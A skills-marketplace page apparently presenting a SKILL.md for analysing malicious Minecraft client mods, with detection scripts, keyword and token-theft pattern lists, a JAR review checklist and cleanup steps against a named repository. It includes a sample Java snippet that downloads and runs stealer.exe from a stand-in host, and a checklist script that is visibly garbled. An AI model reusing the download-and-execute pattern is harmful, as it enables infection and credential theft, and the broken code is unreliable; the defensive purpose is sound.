用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/Aradotso/devtools-skills --skill minecraft-security-analysis命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Sync DeviantArt galleries to local folders with OAuth 2.1 PKCE, SQLite indexing, and scheduled syncs using da-cli
Use oh-my-cli to run an autonomous code agent that can read/write files, execute shell commands, and manage multi-turn coding tasks with approval gates and session persistence
CLI tool that detects AI-written text patterns using 33 Wikipedia-documented signs, with draft checking and humanization prompts — zero dependencies
基于 SOC 职业分类
正在显示 SKILL.md
| name | minecraft-security-analysis |
| description | Analyze and understand Minecraft client modification security risks and malicious patterns |
| triggers | ["analyze this minecraft client mod","check if this minecraft hack is safe","what does this vape client do","is this minecraft cheat malicious","scan this minecraft mod for malware","explain this minecraft client code","review minecraft mod security","detect minecraft hack malware"] |
Skill by ara.so — Devtools Skills collection.
This repository appears to be a malicious distribution site masquerading as a legitimate Minecraft client modification. Based on the analysis:
# Example: Basic malware pattern detection
import re
import json
def analyze_minecraft_mod_repository(readme_content, metadata):
"""
Analyze a repository for common malware distribution patterns
"""
risk_score = 0
findings = []
# Check for suspicious keywords
malware_keywords = [
r'free\s+account',
r'hack',
r'crack',
r'keygen',
r'instant\s+download',
r'killaura',
r'vape.*crack',
r'wurst.*free'
]
for pattern in malware_keywords:
if re.search(pattern, readme_content, re.IGNORECASE):
risk_score += 10
findings.append(f"Suspicious keyword: {pattern}")
# Check for external download links (not GitHub releases)
external_links = re.findall(
r'https?://(?!github\.com|raw\.githubusercontent\.com)[\w\-\.]+\.\w+',
readme_content
)
if external_links:
risk_score += 25
findings.append(f"External download links: {external_links}")
# Check star-to-age ratio (unrealistic growth)
stars = metadata.get('stars', 0)
age_days = calculate_repo_age_days(metadata)
if age_days > 0 and (stars / age_days) > 50:
risk_score += 30
findings.append(f"Unrealistic star growth: {stars} stars in {age_days} days")
# Check for missing source code files
if metadata.get('language') == 'Unknown':
risk_score += 20
findings.append("No source code detected")
return {
'risk_score': min(risk_score, 100),
'risk_level': get_risk_level(risk_score),
'findings': findings
}
def calculate_repo_age_days(metadata):
from datetime import datetime
created = datetime.fromisoformat(metadata['created_at'].replace('Z', '+00:00'))
updated = datetime.fromisoformat(metadata['updated_at'].replace('Z', '+00:00'))
return (updated - created).days
def get_risk_level(score):
if score >= 75:
return "CRITICAL"
elif score >= 50:
return "HIGH"
elif score >= 25:
return "MEDIUM"
return "LOW"
// Example: Check if download link is legitimate
async function validateMinecraftModSource(downloadUrl) {
const legitimateSources = [
'github.com',
'modrinth.com',
'curseforge.com',
'spigotmc.org',
'papermc.io'
];
const url = new URL(downloadUrl);
const isLegitimate = legitimateSources.some(
domain => url.hostname.endsWith(domain)
);
if (!isLegitimate) {
return {
safe: false,
reason: `Untrusted source: ${url.hostname}`,
recommendation: 'Do not download from this source'
};
}
// Check for direct file downloads vs. HTML pages
if (!downloadUrl.match(/\.(jar|zip)$/)) {
return {
safe: false,
reason: 'Link does not point to a mod file',
recommendation: 'Likely a phishing or malware distribution page'
};
}
return {
safe: true,
reason: 'Legitimate source and file type'
};
}
# Safe sources for Minecraft mods:
# 1. CurseForge (official)
# https://www.curseforge.com/minecraft
# 2. Modrinth (open-source friendly)
# https://modrinth.com/
# 3. GitHub releases from verified projects
# Example: Fabric Mod Loader
git clone https://github.com/FabricMC/fabric.git
cd fabric
./gradlew build
# 4. Official mod loader sites
# Forge: https://files.minecraftforge.net/
# Fabric: https://fabricmc.net/
# Extract and inspect JAR contents
mkdir mod_inspect
unzip -q suspicious_mod.jar -d mod_inspect/
# Check for obfuscated code (common in malware)
find mod_inspect/ -name "*.class" | head -5
# Look for suspicious network connections
strings suspicious_mod.jar | grep -E "http://|https://" | sort -u
# Check manifest
unzip -p suspicious_mod.jar META-INF/MANIFEST.MF
# Scan with antivirus
clamscan suspicious_mod.jar
# checklist.py - Automated mod security review
import zipfile
import os
def review_minecraft_mod(jar_path):
"""
Perform basic security review of a Minecraft mod JAR
"""
checks = {
'has_source': False,
'has_manifest': False,
'suspicious_classes': [],
'network_calls': [],
'obfuscated_code': False
}
with zipfile.ZipFile(jar_path, 'r') as jar:
file_list = jar.namelist()
# Check for source files (good sign)
checks['has_source'] = any(f.endswith('.java') for f in file_list)
# Check for manifest
checks['has_manifest'] = 'META-INF/MANIFEST.MF' in file_list
# Look for suspicious class names
suspicious_patterns = [
'RAT', 'Trojan', 'Keylog', 'Stealer',
'Download', 'Inject', 'Hook'
]
for file in file_list:
if file.endswith('.class'):
for pattern in suspicious_patterns:
if pattern.lower() in file.lower():
checks[].append(file)
class_files = [f f file_list f.endswith()]
short_names = [f f class_files (os.path.basename(f)) <= ]
(short_names) / ((class_files), ) > :
checks[] =
checks
result = review_minecraft_mod()
()
()
()
()
CHARACTERISTICS:
- Claims to be "cracked" or "free" version of paid mods
- Download links to external sites (not GitHub releases)
- No visible source code
- Unrealistic feature claims
- Artificial star/fork inflation
EXAMPLE: This repository (Aegis-V4-Client-2026)
// MALICIOUS PATTERN - Do not use
// Example of what malware looks like in decompiled mods
public class a { // Obfuscated class name
public static void b() { // Obfuscated method
try {
String c = "http://malicious-site.com/stealer.exe";
// Download and execute payload
java.net.URLConnection d = new java.net.URL(c).openConnection();
// ... infection code
} catch (Exception e) {}
}
}
# DETECTION: Look for Discord token theft patterns
suspicious_patterns = [
r'discord.*token',
r'\.config.*discord',
r'roaming.*discord.*Local Storage',
r'leveldb.*ldb',
r'webhook.*discord\.com'
]
def scan_for_token_stealer(decompiled_code):
"""
Check decompiled mod code for token stealing patterns
"""
findings = []
for pattern in suspicious_patterns:
matches = re.finditer(pattern, decompiled_code, re.IGNORECASE)
for match in matches:
findings.append({
'pattern': pattern,
'location': match.span(),
'context': decompiled_code[max(0, match.start()-50):match.end()+50]
})
return findings
# 1. Report the repository
# Visit: https://github.com/ochoaochoa330-design/Aegis-V4-Client-2026
# Click: "..." → "Report repository" → "Malware or phishing"
# 2. Warn community
# Post warnings on Minecraft forums, Discord servers
# 3. Use legitimate alternatives
# For client modifications, use:
# - Fabric: https://fabricmc.net/
# - Forge: https://minecraftforge.net/
# - OptiFine: https://optifine.net/
# DO NOT download from this repository
# If you already downloaded:
# 1. Do NOT run the file
# 2. Delete immediately
rm -rf ~/Downloads/AuroraClient* ~/Downloads/Aegis*
# 3. Run antivirus scan
clamscan -r ~/Downloads/
# 4. Check for infection
# Linux/Mac:
ps aux | grep -E "java|minecraft" | grep -v grep
lsof -i -P | grep -i "listen"
# Windows (PowerShell):
# Get-Process | Where-Object {$_.Name -like "*java*"}
# netstat -ano | findstr LISTENING
# 5. Change passwords if mod was executed
# - Minecraft account
# - Discord
# - Email
# - Any other accounts
# For security scanning tools
export MINECRAFT_MODS_PATH="$HOME/.minecraft/mods"
export SCAN_QUARANTINE_PATH="/tmp/minecraft_quarantine"
export VIRUSTOTAL_API_KEY="your_virustotal_api_key"
If you want to create legitimate Minecraft mods:
# Use official Fabric template
git clone https://github.com/FabricMC/fabric-example-mod.git
cd fabric-example-mod
# Configure gradle.properties
cat > gradle.properties << EOF
minecraft_version=1.20.4
yarn_mappings=1.20.4+build.3
loader_version=0.15.3
fabric_version=0.91.1+1.20.4
EOF
# Build legitimate mod
./gradlew build
# Mod will be in build/libs/
ls -lh build/libs/*.jar
This repository (Aegis-V4-Client-2026) is a malware distribution site. Do not download or execute any files from it. Report it to GitHub and warn others in the Minecraft community.
For legitimate Minecraft modification, use official sources and always review code before execution.